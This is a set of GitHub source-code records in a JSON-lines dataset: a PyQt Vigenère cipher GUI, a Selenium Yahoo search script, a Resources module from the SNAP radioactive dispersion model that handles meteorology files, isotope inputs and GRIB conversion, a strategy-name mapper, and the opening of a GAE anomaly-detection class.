''\n for i in range(len(text)):\n extended_keyword += keyword[i % len(keyword)]\n \n for t_char, k_char in zip(text, extended_keyword):\n if t_char.lower() in alphabet: # Only encrypt alphabetic characters\n shift = alphabet.index(k_char.lower())\n new_position = (alphabet.index(t_char.lower()) + shift) % 31\n encrypted_text += alphabet[new_position].upper() if t_char.isupper() else alphabet[new_position]\n else:\n encrypted_text += t_char\n\n return encrypted_text\n\ndef vigenere_decrypt(encrypted_text, keyword):\n alphabet = 'abcçdefgğhıijklmnoöpqrsştuvwxyz'\n decrypted_text = ''\n \n # Extend keyword to match length of text\n extended_keyword = ''\n for i in range(len(encrypted_text)):\n extended_keyword += keyword[i % len(keyword)]\n \n for e_char, k_char in zip(encrypted_text, extended_keyword):\n if e_char.lower() in alphabet: # Only decrypt alphabetic characters\n shift = alphabet.index(k_char.lower())\n new_position = (alphabet.index(e_char.lower()) - shift) % 31\n decrypted_text += alphabet[new_position].upper() if e_char.isupper() else alphabet[new_position]\n else:\n decrypted_text += e_char\n\n return decrypted_text\n\nclass VigenereEncryptDecryptApp(QMainWindow):\n def __init__(self):\n super().__init__()\n self.init_ui()\n\n def init_ui(self):\n self.setWindowTitle('Encrypters')\n self.setGeometry(100, 100, 400, 400)\n \n layout = QVBoxLayout()\n tabs = QTabWidget()\n layout.addWidget(tabs)\n \n # Encryption tab\n self.encrypt_tab = QWidget()\n self.encrypt_layout = QVBoxLayout()\n \n self.encrypt_input = QTextEdit()\n self.encrypt_layout.addWidget(QLabel('Enter text to encrypt:'))\n self.encrypt_layout.addWidget(self.encrypt_input)\n\n self.encrypt_keyword = QTextEdit()\n self.encrypt_keyword.setFixedHeight(50)\n self.encrypt_layout.addWidget(QLabel('Enter keyword(can onyl contain english letters):'))\n self.encrypt_layout.addWidget(self.encrypt_keyword)\n \n self.encrypt_button = QPushButton('Encrypt')\n self.encrypt_button.clicked.connect(self.perform_encryption)\n self.encrypt_layout.addWidget(self.encrypt_button)\n \n self.encrypt_output = QTextEdit()\n self.encrypt_output.setReadOnly(True)\n self.encrypt_layout.addWidget(QLabel('Encrypted text:'))\n self.encrypt_layout.addWidget(self.encrypt_output)\n \n self.encrypt_tab.setLayout(self.encrypt_layout)\n tabs.addTab(self.encrypt_tab, 'Encrypt')\n \n # Decryption tab\n self.decrypt_tab = QWidget()\n self.decrypt_layout = QVBoxLayout()\n \n self.decrypt_input = QTextEdit()\n self.decrypt_layout.addWidget(QLabel('Enter text to decrypt:'))\n self.decrypt_layout.addWidget(self.decrypt_input)\n\n self.decrypt_keyword = QTextEdit()\n self.decrypt_keyword.setFixedHeight(50)\n self.decrypt_layout.addWidget(QLabel('Enter keyword:'))\n self.decrypt_layout.addWidget(self.decrypt_keyword)\n \n self.decrypt_button = QPushButton('Decrypt')\n self.decrypt_button.clicked.connect(self.perform_decryption)\n self.decrypt_layout.addWidget(self.decrypt_button)\n \n self.decrypt_output = QTextEdit()\n self.decrypt_output.setReadOnly(True)\n self.decrypt_layout.addWidget(QLabel('Decrypted text:'))\n self.decrypt_layout.addWidget(self.decrypt_output)\n \n self.decrypt_tab.setLayout(self.decrypt_layout)\n tabs.addTab(self.decrypt_tab, 'Decrypt')\n \n central_widget = QWidget()\n central_widget.setLayout(layout)\n self.setCentralWidget(central_widget)\n\n def perform_encryption(self):\n text = self.encrypt_input.toPlainText()\n keyword = self.encrypt_keyword.toPlainText().strip()\n encrypted_text = vigenere_encrypt(text, keyword)\n self.encrypt_output.setPlainText(encrypted_text)\n\n def perform_decryption(self):\n text = self.decrypt_input.toPlainText()\n keyword = self.decrypt_keyword.toPlainText().strip()\n decrypted_text = vigenere_decrypt(text, keyword)\n self.decrypt_output.setPlainText(decrypted_text)\n\nif __name__ == '__main__':\n app = QApplication([])\n mainWin = VigenereEncryptDecryptApp()\n mainWin.show()\n app.exec_()\n","repo_name":"cogut2005/encrypter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42575564191","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\n#create a new firefox gecko driver session\ndriver = webdriver.Firefox(executable_path=r'C:\\Users\\SRIKUCHAITU\\PycharmProjects\\PracticeSelProject\\geckodriver.exe')\ndriver.maximize_window()\n\n#navigate to the application\ndriver.get(\"http://www.yahoo.com\")\nassert 'Yahoo' in driver.title\n\nelem = driver.find_element_by_name('p')\nelem.send_keys('seleniumhq' + Keys.RETURN)\n\ndriver.refresh()\n\ndriver.close()\ndriver.quit()\n","repo_name":"chait2605/SelProjectPython","sub_path":"searchproducts.py","file_name":"searchproducts.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17060591392","text":"from collections import OrderedDict\nfrom datetime import datetime, time, date, timedelta\nimport enum\nimport math\nimport os\nimport re\nimport subprocess\nimport sys\nimport time as mtime\nfrom time import gmtime, strftime\n\nfrom Snappy.ResourcesCommon import ResourcesCommon\nfrom Snappy import read_dosecoefficients_icrp\n\n\n@enum.unique\nclass MetModel(enum.Enum):\n Icon0p25Global = \"icon_0p25_global\"\n Meps2p5 = \"meps_2_5km\"\n NrpaEC0p1 = \"nrpa_ec_0p1\"\n NrpaEC0p1Global = \"nrpa_ec_0p1_global\"\n EC0p1Global = \"ec_0p1_global\"\n GfsGribFilter = \"gfs_grib_filter_fimex\"\n\n def __eq__(self, other):\n return self.value == str(other)\n\n def __hash__(self):\n return self.value.__hash__()\n\nclass Resources(ResourcesCommon):\n \"\"\"\n Read the resources and combine them\n \"\"\"\n\n # OUTPUTDIR = \"/disk1/tmp\"\n _OUTPUTDIR = \"{LUSTREDIR}/project/fou/kl/snap/runs\"\n _ECINPUTDIRS = [\"{LUSTREDIR}/project/metproduction/products/cwf-input/\"]\n # ECINPUTDIRS = [\"/lustre/storeB/users/heikok/Meteorology/ecdis2cwf/\"]\n EC_FILENAME_PATTERN = \"meteo{year:04d}{month:02d}{day:02d}_{dayoffset:02d}.nc\"\n EC_FILE_PATTERN = os.path.join(\"NRPA_EUROPE_0_1_{UTC:02d}\", EC_FILENAME_PATTERN)\n EC_GLOBAL_PATTERN = (\n \"ec_atmo_0_1deg_{year:04d}{month:02d}{day:02d}T{dayoffset:02d}0000Z_3h.nc\"\n )\n\n _MET_GLOBAL_INPUTDIRS = {\n MetModel.NrpaEC0p1Global: [\n \"{LUSTREDIR}/project/metproduction/products/ecmwf/nc/\"\n ],\n MetModel.EC0p1Global: [\n \"{LUSTREDIR}/project/metproduction/products/ecmwf/nc/\"\n ],\n MetModel.Icon0p25Global: [\"{LUSTREDIR}/project/metproduction/products/icon/\"],\n }\n\n _MET_INPUTDIRS = {\n MetModel.Meps2p5: [\n \"{LUSTREDIR}/immutable/archive/projects/metproduction/MEPS/\"\n ],\n MetModel.GfsGribFilter: [\"/disk1/tmp/\"],\n }\n MET_FILENAME_PATTERN = {\n MetModel.Meps2p5: \"{year:04d}/{month:02d}/{day:02d}/meps_det_2_5km_{year:04d}{month:02d}{day:02d}T{UTC:02d}Z.nc\",\n MetModel.Icon0p25Global: \"icon_{year:04d}{month:02d}{day:02d}T{UTC:02d}Z.nc\",\n MetModel.GfsGribFilter: \"gfs_0p25deg_{year:04d}{month:02d}{day:02d}T{UTC:02d}Z.nc\",\n }\n\n def __init__(self):\n \"\"\"\n initialize\n \"\"\"\n self.directory = os.path.join(os.path.dirname(__file__), \"resources\")\n self.ecDomainWidth = 125.0\n self.ecDomainHeight = 60.0\n self.ecDomainRes = 0.1\n self.ecDefaultDomainStartX = -50.0\n self.ecDefaultDomainStartY = 25.0\n\n startScreenFH = open(\n os.path.join(self.directory, \"startScreen.html\"), mode=\"r\", encoding=\"UTF-8\"\n )\n self.startScreen = startScreenFH.read()\n startScreenFH.close()\n plantBB = {\"west\": -60, \"east\": 70, \"north\": 85, \"south\": 30}\n npps = self.readNPPs(plantBB)\n npps.update(self.readRadnett())\n nppStrings = []\n for tag, site in npps.items():\n nppStrings.append(\n '\\n'.format(\n tag=tag, site=site[\"site\"]\n )\n )\n self.startScreen = re.sub(\n r\"%NPP_OPTIONS%\", \"\".join(nppStrings), self.startScreen\n )\n self.startScreen = re.sub(\n r\"%CURRENTTIME%\", strftime(\"%Y-%m-%d %H:00\", gmtime()), self.startScreen\n )\n\n ecmodelruns = \"\"\n for run in self.getECRuns():\n ecmodelruns += '\\n'.format(run=run)\n self.startScreen = re.sub(r\"%ECMODELRUN%\", ecmodelruns, self.startScreen)\n\n def getDefaultMetDefinitions(self, metmodel):\n \"\"\"get the default meteo-definitions as dict to be used as *dict for getSnapInputMetDefinitions\"\"\"\n if (metmodel == MetModel.NrpaEC0p1) or (metmodel == MetModel.NrpaEC0p1Global):\n return {\n \"nx\": 1 + round(self.ecDomainWidth / self.ecDomainRes),\n \"ny\": 1 + round(self.ecDomainHeight / self.ecDomainRes),\n \"startX\": self.ecDefaultDomainStartX,\n \"startY\": self.ecDefaultDomainStartY,\n \"dx\": self.ecDomainRes,\n \"dy\": self.ecDomainRes,\n }\n elif metmodel == MetModel.EC0p1Global:\n return {}\n elif metmodel == MetModel.Meps2p5:\n return {}\n elif metmodel == MetModel.Icon0p25Global:\n return {}\n elif metmodel == MetModel.GfsGribFilter:\n return {}\n\n raise (NotImplementedError(\"metmodel='{}' not implememented\".format(metmodel)))\n\n def getStartScreen(self):\n return self.startScreen\n\n def getStartScreenInverse(self):\n with open(\n os.path.join(self.directory, \"startScreenInverse.html\"),\n mode=\"r\",\n encoding=\"UTF-8\",\n ) as sfh:\n startScreenInverse = sfh.read()\n return startScreenInverse\n\n def getIconPath(self):\n return os.path.join(self.directory, \"radioMapIcon.png\")\n\n def getIsotopes(self):\n \"\"\" return a dictionary of isotope-ids mapping to a dictionary with isotope,type and decay\"\"\"\n isotopes = dict()\n with open(\n os.path.join(self.directory, \"isotope_list.txt\"), mode=\"r\", encoding=\"UTF-8\"\n ) as isoFH:\n for line in isoFH:\n if line.strip() != \"\":\n isoId = int(line[0:4])\n el = line[4:7].strip()\n iso = line[8:13].strip()\n isoType = int(line[13:14])\n decay = float(line[14:])\n isotopes[isoId] = {\n \"isotope\": \"{0}{1}\".format(el, iso),\n \"type\": isoType,\n \"decay\": decay,\n }\n return isotopes\n\n def isotopes2isoIds(self, isotopes: list[str | int]) -> list[int]:\n '''\n translate a list of isotopes, i.e. ['Cs-137', ...] or ['Cs137', ...] or ['17', ...]\n to argos isotope id's\n '''\n retval = []\n allIsos = self.getIsotopes()\n for iso in isotopes:\n isoId = -1\n try:\n iId = int(iso)\n if iId in allIsos:\n isoId = iId\n except Exception:\n pass\n if isoId == -1:\n iso = iso.replace('-', '')\n for iId, isoDict in allIsos.items():\n if iso == isoDict['isotope']:\n isoId = iId\n break\n if isoId == -1:\n raise Exception(f\"no isotope-id for isotope {iso}\")\n retval.append(isoId)\n return retval\n\n\n def isotopes2snapinput(self, isotopeIds, add_DPUI=True):\n \"\"\"Read a list of isotopeIds and return a text-block to be used for a snap.input file, like\nCOMPONENT= Cs137\nRADIOACTIVE.DECAY.ON\nHALF.LIFETIME.YEARS= 30\nDRY.DEP.ON\nWET.DEP.ON\nRADIUS.MICROMETER=0.55\nDENSITY.G/CM3=2.3\nGRAVITY.FIXED.M/S=0.0002\nFIELD.IDENTIFICATION=01\n\"\"\"\n if add_DPUI:\n dosecoeff = self.getDoseCoefficients()\n else:\n dosecoeff = None\n snapinputs = [\"***List of components\"]\n isotopes = self.getIsotopes()\n fieldId = 0\n for isoId in isotopeIds:\n fieldId += 1\n DPUI = None\n iso = isotopes[isoId]\n snapinput = \"COMPONENT= {}\\n\".format(iso[\"isotope\"])\n snapinput += \"RADIOACTIVE.DECAY.ON\\n\"\n snapinput += \"HALF.LIFETIME.DAYS= {:14.8E}\\n\".format(\n math.log(2.0) / (iso[\"decay\"] * 60.0 * 60.0 * 24.0)\n )\n if iso[\"type\"] == 0:\n # Noble gas\n snapinput += \"\"\"DRY.DEP.OFF\nWET.DEP.OFF\nGRAVITY.OFF\n\"\"\"\n if dosecoeff is not None:\n DPUI = dosecoeff.DPUI(iso[\"isotope\"], \"noble\")\n elif iso[\"type\"] == 1:\n # Gas\n snapinput += \"\"\"DRY.DEP.ON\nWET.DEP.ON\nRADIUS.MICROMETER=0.05\nDENSITY.G/CM3=0.001\nGRAVITY.FIXED.M/S=0.00001\n\"\"\"\n if dosecoeff is not None:\n DPUI = dosecoeff.DPUI(iso[\"isotope\"], \"gas\")\n elif iso[\"type\"] == 2:\n # Aerosol\n snapinput += \"\"\"DRY.DEP.ON\nWET.DEP.ON\nRADIUS.MICROMETER=0.55\nDENSITY.G/CM3=2.3\nGRAVITY.FIXED.M/S=0.0002\n\"\"\"\n if dosecoeff is not None:\n DPUI = dosecoeff.DPUI(iso[\"isotope\"], \"particulate\")\n else:\n raise Exception(\n \"Error, unknown type '{1}' for isotope '{2}'\".format(\n iso[\"type\"], iso[\"isotope\"]\n )\n )\n if DPUI is not None and DPUI >= 0.0:\n snapinput += f\"DPUI.Sv_per_Bq_M3 = {DPUI}\\n\"\n snapinput += \"FIELD.IDENTIFICATION= {:02d}\\n\".format(fieldId)\n snapinputs.append(snapinput)\n\n return \"\\n\".join(snapinputs)\n\n def _getGribWriterConfig(self, isoIds, setFillValue=True):\n \"\"\"Return a dictionary with a xml: xml-configuration string and a exracts: output-type and variable-names.\n Use in conjunction with convert_to_grib.\n \"\"\"\n allIsos = self.getIsotopes()\n extracts = {\n \"tofa\": [\"time_of_arrival\"],\n \"prec\": [\"lwe_precipitation_rate\"],\n \"wetd\": [],\n \"depo\": [],\n \"dose\": [],\n \"conc\": [],\n }\n\n with open(os.path.join(self.directory, \"isotopes_template.xml\")) as isoTemplate:\n isoTemp = isoTemplate.read()\n\n isoStr = \"\"\n for isoId in isoIds:\n isoName = allIsos[isoId][\"isotope\"]\n isoStr += isoTemp.format(ISOTOPE=isoName, ID=isoId)\n extracts[\"conc\"].append(f\"{isoName}_concentration\")\n extracts[\"dose\"].append(f\"{isoName}_acc_concentration\")\n if allIsos[isoId][\"type\"] > 0:\n extracts[\"depo\"].append(f\"{isoName}_acc_total_deposition\")\n extracts[\"wetd\"].append(f\"{isoName}_acc_wet_deposition\")\n\n with open(\n os.path.join(self.directory, \"cdmGribWriterIsotopesTemplate.xml\")\n ) as xmlTemplate:\n xmlTemp = xmlTemplate.read()\n\n xmlOut = xmlTemp.format(\n ISOTOPES=isoStr,\n GRIB_TEMPLATE_PATH=os.path.join(\n self.directory, \"template_conc_Am-241.ID_328.grib\"\n ),\n )\n\n # change the ncml-config\n with open(\n os.path.join(self.directory, \"fillValue_template.ncml\")\n ) as fillValueFH:\n fillValueTemp = fillValueFH.read()\n\n varFills = []\n if setFillValue:\n for t in (\"conc\", \"dose\", \"depo\", \"wetd\"):\n for var in extracts[t]:\n varFills.append(fillValueTemp.format(varname=var))\n\n with open(\n os.path.join(self.directory, \"removeSnapReferenceTime.ncml\")\n ) as ncmlFH:\n ncmlOut = ncmlFH.read()\n ncmlOut = ncmlOut.format(variables=\"\\n\".join(varFills))\n\n return {\n \"extracts\": extracts,\n \"xml\": xmlOut,\n \"ncml\": ncmlOut,\n }\n\n def readNPPs(\n self, bb={\"west\": -180.0, \"east\": 180.0, \"north\": 90.0, \"south\": -90.0}\n ):\n nppsFile = open(\n os.path.join(self.directory, \"npps.csv\"), mode=\"r\", encoding=\"UTF-8\"\n )\n # skip header\n nppsFile.readline()\n # read rest\n npps = {}\n for line in nppsFile:\n # [site, country, long, lat, status)\n site = line.split(\"|\")\n if len(site) < 4:\n print(\"NPP not properly defined: \", line, file=sys.stderr)\n tag = site[0]\n tag = tag.replace(\" \", \"_\")\n if (\n (float(site[2]) >= bb[\"west\"])\n and (float(site[2]) <= bb[\"east\"])\n and (float(site[3]) >= bb[\"south\"])\n and (float(site[3]) <= bb[\"north\"])\n ):\n npps[tag] = {\n \"site\": site[0],\n \"CC\": site[1],\n \"lon\": float(site[2]),\n \"lat\": float(site[3]),\n \"status\": site[4],\n }\n nppsFile.close()\n return OrderedDict(sorted(npps.items(), key=lambda t: t[0].lower()))\n\n def readRadnett(self,):\n stations = OrderedDict()\n with open(\n os.path.join(os.path.dirname(__file__), \"resources/radnett.csv\"),\n mode=\"r\",\n encoding=\"UTF-8\",\n ) as f:\n degree_minute_regex = re.compile(\"([0-9]+)°\\s([0-9]+)’\\s[NØ]\")\n for line in f:\n if line.startswith(\"#\"):\n continue\n station, position = (x.strip() for x in line.split(\"|\"))\n\n latitude, longitude = (x.strip() for x in position.split(\",\"))\n m = degree_minute_regex.match(latitude)\n latitude = int(m[1]) + int(m[2]) / 60\n m = degree_minute_regex.match(longitude)\n longitude = int(m[1]) + int(m[2]) / 60\n\n tag = \"RADNETT:\" + station.replace(\" \", \"_\")\n tag = tag.encode(\"ascii\", \"ignore\").decode(\"ascii\")\n\n stations[tag] = {\n \"site\": f\"RADNETT: {station}\",\n \"lon\": longitude,\n \"lat\": latitude,\n }\n\n return stations\n\n def _getSnapInputTemplate(self, metmodel=None):\n \"\"\"Read a snap input file without source-term parameters, isotopes (isotopes2snapinput) and eventually without meteorology files.\n\n Keyword arguments:\n metmodel\n \"\"\"\n if (metmodel == MetModel.NrpaEC0p1) or (metmodel == MetModel.NrpaEC0p1Global):\n filename = os.path.join(self.directory, \"snap.input_nrpa_ec_0p1.tmpl\")\n elif metmodel == MetModel.EC0p1Global:\n filename = os.path.join(self.directory, \"snap.input_ec_0p1.tmpl\")\n elif metmodel == MetModel.Meps2p5:\n filename = os.path.join(self.directory, \"snap.input_meps_2_5km.tmpl\")\n elif metmodel == MetModel.Icon0p25Global:\n filename = os.path.join(self.directory, \"snap.input_icon_0p25.tmpl\")\n elif metmodel == MetModel.GfsGribFilter:\n filename = os.path.join(self.directory, \"snap.input_gfs_grib_filter.tmpl\")\n else:\n raise (\n NotImplementedError(\"metmodel='{}' not implememented\".format(metmodel))\n )\n\n f = open(filename)\n return f.read()\n\n def getSnapInputMetDefinitions(\n self, metmodel, files, nx=0, ny=0, startX=0, startY=0, dx=0, dy=0, interpolation=\"\"\n ):\n \"\"\"Get the definitions for the metmodel, including met-files and domain (unless default).\n This should be written to the snap.input file, in addition to the source-term. files may be empty\n \"\"\"\n lines = []\n if metmodel == MetModel.NrpaEC0p1:\n # no setup needed, autdetection in snap\n pass\n elif metmodel == MetModel.NrpaEC0p1Global:\n # no setup needed, autdetection in snap\n pass\n elif metmodel == MetModel.EC0p1Global:\n # no setup needed, autdetection in snap\n pass\n elif metmodel == MetModel.Meps2p5:\n # no setup needed, autdetection in snap\n pass\n elif metmodel == MetModel.Icon0p25Global:\n # no setup needed, autdetection in snap\n pass\n elif metmodel == MetModel.GfsGribFilter:\n # no setup needed, autdetection in snap\n pass\n else:\n raise (\n NotImplementedError(\"metmodel='{}' not implememented\".format(metmodel))\n )\n\n for f in files:\n lines.append(\"FIELD.INPUT={}\".format(f))\n\n lines.append(\"\")\n lines.append(self._getSnapInputTemplate(metmodel).format(interpolation=interpolation))\n return \"\\n\".join(lines)\n\n def getSendmailScript(self):\n filename = os.path.join(self.directory, \"sendmail.sh\")\n return filename\n\n def getBSnapInputFile(self):\n filename = os.path.join(self.directory, \"snap.in\")\n return filename\n\n def getSnapOutputDir(self):\n return self._OUTPUTDIR.format(LUSTREDIR=self.getLustreDir())\n\n def _findFileInPathes(self, file, pathes):\n for path in pathes:\n filename = os.path.join(path, file)\n if os.path.isfile(filename):\n return filename\n return None\n\n def _lustreTemplateDirs(self, dirs):\n return [x.format(LUSTREDIR=self.getLustreDir()) for x in dirs]\n\n def getMetGlobalInputDirs(self, metmodel):\n return self._lustreTemplateDirs(self._MET_GLOBAL_INPUTDIRS[metmodel])\n\n def getMetInputDirs(self, metmodel):\n return self._lustreTemplateDirs(self._MET_INPUTDIRS[metmodel])\n\n def getECInputDirs(self):\n return self._lustreTemplateDirs(self._ECINPUTDIRS)\n\n def getECRuns(self):\n \"\"\"Find ec-runs with at least 2 days of forecast\"\"\"\n relevant = []\n today = datetime.combine(date.today(), time(0, 0, 0))\n start = today - timedelta(hours=72)\n tomorrow = today + timedelta(days=1)\n while start < tomorrow:\n for utc in [0, 6, 12, 18]:\n file = self.EC_FILE_PATTERN.format(\n dayoffset=2,\n UTC=utc,\n year=start.year,\n month=start.month,\n day=start.day,\n )\n filename = self._findFileInPathes(file, self.getECInputDirs())\n if filename is not None:\n relevant.append(\n \"{year:04d}-{month:02d}-{day:02d}_{UTC:02d}\".format(\n UTC=utc, year=start.year, month=start.month, day=start.day\n )\n )\n start += timedelta(days=1)\n return relevant\n\n def getMEPS25MeteorologyFiles(\n self, dtime: datetime, run_hours: int, fixed_run=\"best\"\n ):\n return self.getMeteorologyFiles(MetModel.Meps2p5, dtime, run_hours, fixed_run)\n\n def getMeteorologyFiles(\n self, metmodel, dtime: datetime, run_hours: int, fixed_run=\"best\"\n ):\n \"\"\"Get available meteorology files for the last few days around dtime and run_hours.\n\n Keyword arguments:\n dtime -- start time of model run\n run_hours -- run length in hours, possibly negative\n fixed_run -- string of form YYYY-MM-DD_HH giving a specific model-run\n latitude -- float of latitude position\n longitude -- float of longitude position\n \"\"\"\n relevant_dates = []\n\n if metmodel not in self.MET_FILENAME_PATTERN:\n raise NotImplementedError(\n \"metmodel='{}' not implememented for meteorology\".format(metmodel)\n )\n if metmodel not in self._MET_INPUTDIRS:\n raise NotImplementedError(\n \"metmodel='{}' not implememented for meteorology\".format(metmodel)\n )\n\n # only best currently implemented\n if fixed_run == \"best\":\n if run_hours < 0:\n start = dtime + timedelta(hours=run_hours)\n else:\n start = dtime\n\n start -= timedelta(hours=66) # go 66 hours (forecast-length) back\n last = start + timedelta(\n days=24\n ) # offer max 21days (24days - 66hours) in archive\n today = datetime.combine(date.today(), time(0, 0, 0))\n tomorrow = today + timedelta(days=1)\n if tomorrow < last:\n last = tomorrow\n days = []\n while start < last:\n days.append(start)\n start += timedelta(days=1)\n # loop needs to have latest model runs/hindcast runs last\n for day in days:\n for utc in [0, 6, 12, 18]:\n file = self.MET_FILENAME_PATTERN[metmodel].format(\n UTC=utc, year=day.year, month=day.month, day=day.day\n )\n filename = self._findFileInPathes(\n file, self.getMetInputDirs(metmodel)\n )\n if filename is not None:\n fmtime = os.stat(filename).st_mtime\n if (mtime.time() - fmtime) > (\n 60 * 10\n ): # file older than 10min -> no longer under production\n relevant_dates.append(filename)\n\n return relevant_dates\n\n def getECMeteorologyFiles(\n self, dtime: datetime, run_hours: int, fixed_run=\"best\", pattern=\"\"\n ):\n \"\"\"Get available meteorology files for the last few days around dtime and run_hours.\n\n Keyword arguments:\n dtime -- start time of model run\n run_hours -- run length in hours, possibly negative\n fixed_run -- string of form YYYY-MM-DD_HH giving a specific model-run\n \"\"\"\n relevant_dates = []\n if not pattern:\n pattern = Resources.EC_FILE_PATTERN\n\n if fixed_run == \"best\":\n if run_hours < 0:\n start = dtime + timedelta(hours=run_hours)\n else:\n start = dtime\n\n start -= timedelta(hours=72) # go 72 hours (forecast-length) back\n\n today = datetime.combine(date.today(), time(0, 0, 0))\n tomorrow = today + timedelta(days=1)\n days = []\n if (tomorrow - start).days > 1000:\n raise Exception(\n \"too long timespan: \" + str(start) + \" to \" + str(tomorrow)\n )\n while start < tomorrow:\n days.append(start)\n start += timedelta(days=1)\n # loop needs to have latest model runs/hindcast runs last\n for offset in [3, 2, 1, 0]:\n for day in days:\n for utc in [0, 6, 12, 18]:\n file = pattern.format(\n dayoffset=offset,\n UTC=utc,\n year=day.year,\n month=day.month,\n day=day.day,\n )\n filename = self._findFileInPathes(file, self.getECInputDirs())\n if filename is not None:\n relevant_dates.append(filename)\n else:\n match = re.match(r\"(\\d{4})-(\\d{2})-(\\d{2})_(\\d{2})\", fixed_run)\n if match:\n (year, month, day, utc) = tuple(map(int, list(match.group(1, 2, 3, 4))))\n for offset in [0, 1, 2, 3]:\n file = self.EC_FILE_PATTERN.format(\n dayoffset=offset, UTC=utc, year=year, month=month, day=day\n )\n filename = self._findFileInPathes(file, self.getECInputDirs())\n if filename is not None:\n relevant_dates.append(filename)\n\n return relevant_dates\n\n def getDoseCoefficients(self):\n try:\n dosecoeffs = read_dosecoefficients_icrp.DoseCoefficientsICRP(\n os.path.join(self.directory, \"1-s2.0-S0146645313000110-mmc1.zip\")\n )\n except Exception as e:\n dosecoeffs = None\n return dosecoeffs\n\n\n\n# setting bitmapCompress as default to False\n# fimex drops all fields which are completely missing, which argos doesn't like\n# waiting for fimex-fix\ndef snapNc_convert_to_grib(snapNc, basedir, ident, isotopes, bitmapCompress=False):\n \"\"\"simple function to implement conversion to grib snap.nc using fimex\n and resources-setup\n\n Parameters\n ----------\n isotopes : list\n list of isoIds [1,2,3,4...] or isotope-names like ['Cs-137', 'Cs-134',...]\n \"\"\"\n res = Resources()\n isoIds = res.isotopes2isoIds(isotopes)\n config = res._getGribWriterConfig(isoIds, setFillValue=bitmapCompress)\n xmlFile = \"cdmGribWriterConfig.xml\"\n basexmlFile = os.path.join(basedir, xmlFile)\n ncmlFile = \"config.ncml\"\n baseNcmlFile = os.path.join(basedir, ncmlFile)\n with open(baseNcmlFile, 'w') as nh:\n nh.write(config['ncml'])\n\n errlog = open(os.path.join(basedir, \"fimex.errlog\"), \"w\")\n outlog = open(os.path.join(basedir, \"fimex.outlog\"), \"w\")\n tempfile = 'tmp.grib'\n basetempfile = os.path.join(basedir, tempfile)\n # fimex works in basedir, so it does not need the basefiles\n for appendix, params in config['extracts'].items():\n if appendix == 'tofa':\n omitEmptyFields = True\n else:\n omitEmptyFields = False\n with open(basexmlFile, 'w') as xh:\n xh.write(config['xml'].format(OMIT_EMPTY_FIELDS=omitEmptyFields))\n outFile = os.path.join(basedir, f\"{ident}_{appendix}\")\n with open(outFile, 'wb') as gh:\n for param in params:\n if (os.path.exists(basetempfile)):\n os.remove(basetempfile)\n procOptions = ['fimex', f'--input.file={snapNc}', f'--input.config={ncmlFile}',\n # avoid problem with lat/lon variables\n # in fimex grib-writer< 0.64\n # '--extract.removeVariable=longitude',\n # '--extract.removeVariable=latitude',\n f'--output.file={tempfile}',\n '--output.type=grib', f'--output.config={xmlFile}']\n procOptions.append(f'--extract.selectVariables={param}')\n print(\" \".join(procOptions))\n proc = subprocess.Popen(procOptions, cwd=basedir, stderr=errlog, stdout=outlog)\n if (proc.wait() != 0):\n errlog.write(\"'{fimex}' in {dir} failed\".format(fimex=' '.join(procOptions), dir=basedir))\n else:\n # append tmp-file to final grib-file\n with (open(basetempfile, 'rb')) as th:\n while True:\n data = th.read(16*1024*1024) # read max 16M blocks\n if data:\n gh.write(data)\n else:\n break\n if (os.path.exists(basetempfile)):\n os.remove(basetempfile)\n\n errlog.close()\n outlog.close()\n\n\n\n\nif __name__ == \"__main__\":\n print(Resources().getStartScreen())\n print(\n Resources().getECMeteorologyFiles(datetime.combine(date.today(), time(0)), 48)\n )\n print(\n Resources().getECMeteorologyFiles(datetime.combine(date.today(), time(0)), -72)\n )\n runs = Resources().getECRuns()\n print(runs)\n print(\n Resources().getECMeteorologyFiles(\n datetime.combine(date.today(), time(0)), 48, runs[1]\n )\n )\n print(Resources().isotopes2snapinput([169, 158, 148]))\n print(\n Resources().getMEPS25MeteorologyFiles(\n datetime.combine(date.today(), time(0)), -48\n )\n )\n print(\n Resources().getMEPS25MeteorologyFiles(\n datetime.combine(date.today(), time(0)), -72\n )\n )\n print(Resources().getDoseCoefficients())\n isotopes = ['Cs-137', 'Cs134']\n isoIds = Resources().isotopes2isoIds(isotopes)\n print(f\"f{isotopes} have ids: {isoIds}\")\n assert len(isotopes) == len(isoIds)\n # isotopes2isoIds idempotent\n assert len(isoIds) == len(Resources().isotopes2isoIds(isoIds))\n","repo_name":"metno/snap","sub_path":"utils/SnapPy/Snappy/Resources.py","file_name":"Resources.py","file_ext":"py","file_size_in_byte":27599,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"31"} +{"seq_id":"31323310328","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 21 08:31:11 2020\n\n@author: vivin\n\"\"\"\n\nprefix = 'lib.strategies'\n\nSTRATEGY_MAP_TEMP = {\n #classname to filename mapping for strategies\n \"MULTICLASS_CLASSIFIER_REBAL\": \"multi_class_rebal\",\n \"MOMENTUM_REBAL_STRATEGY\": \"momentum_rebal\"\n}\n\nSTRATEGY_MAP = {k:'{}.{}'.format(prefix,v) for k,v in STRATEGY_MAP_TEMP.items()}","repo_name":"vthoquant/epat_proj","sub_path":"lib/configs/strategy_mapper.py","file_name":"strategy_mapper.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"40677169146","text":"import numpy as np\nimport torch\nfrom torch import nn\nfrom tqdm import tqdm\n\nfrom baseline.GAE.model import GAEModel\n\n\nclass GAE():\n def __init__(self, seed=None ,n_epochs=2 ,lr=0.0002 ,b1=0.5 ,b2=0.999 ,hidden_dim=64):\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n self.seed = seed\n self.n_epochs = n_epochs\n self.lr =lr\n self.b1 =b1\n self.b2 =b2\n self.hidden_dim =hidden_dim\n self.name='GAE'\n\n\n\n def fit(self, dataset):\n if type(self.seed) is int:\n torch.manual_seed(self.seed)\n if dataset.trace_graphs_GAE[0].edge_attr is not None:\n self.model = GAEModel(int(dataset.attribute_dims[0]), self.hidden_dim, self.device, True, len(dataset.trace_graphs_GAE[0].edge_attr[0]))\n else:\n self.model = 